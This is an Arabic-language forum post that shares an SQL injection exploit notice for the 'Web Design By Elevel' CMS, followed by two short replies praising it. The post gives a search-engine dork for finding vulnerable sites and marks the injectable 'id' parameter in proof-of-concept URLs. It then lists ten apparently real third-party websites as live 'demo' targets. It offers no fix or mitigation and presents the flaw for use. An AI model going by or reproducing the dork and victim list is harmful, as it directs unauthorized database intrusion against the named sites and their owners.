[ شرح ] Exploit Web Design By Elevel Cms SQL Injection Vulnerability

[iEvNr]

السلام عليكم ورحمة الله


أقدم لكم ثغرة حقن جميلة ,, وقوية
​

# Exploit Title: Web Design By Elevel Cms SQL Injection Vulnerability

# Exploit Author: Rednofozi

# Date:23-09-2018


# Vendor Homepage: http://www.elevel.it/



|================================================= =======

# {INFO}

# SQL Injection Vulnerability

|================================================= =======

# {DORK}

# intext:"Web Design By Elevel" inurl:?id=

|================================================= =======

# {POC}

# http://www.site.com/news.php?id=7[SQL Injection]

# http://www.site.it/galleria.php?id=3[SQL Injection]

# http://www.ascentproject.eu/project_forumnews.php?id=4[SQL Injection]

|================================================= =======

# {DEMO}

# 01: http://www.marinogiada.com/news.php?id=7

# 02: http://www.siatautomazioni.it/news_dettaglio.php?id=21

# 03: http://www.agenziaimmobiliareborghes...nci.php?id=200

# 04: http://www.libertasravenna.it/news.php?id=41

# 05: http://www.alfredolando.it/galleria.php?id=3

# 06: http://www.ascentproject.eu/project_forumnews.php?id=4

# 07: http://ravenna.azinet.it/aziende/art...k.php?id=42119

# 08: http://www.dribblingravenna.it/news.php?id=187

# 09: http://www.intermed-shipping.it/multimedia.php?id=2

# 10: www.emporiodellapietra.it/news.php?id=2

|================================================= =======​

 

[WOLF265]

ممتاز

 

[Abu Ayesh]

روعاتك يالغالي ، يعطيك ألف عافية يارب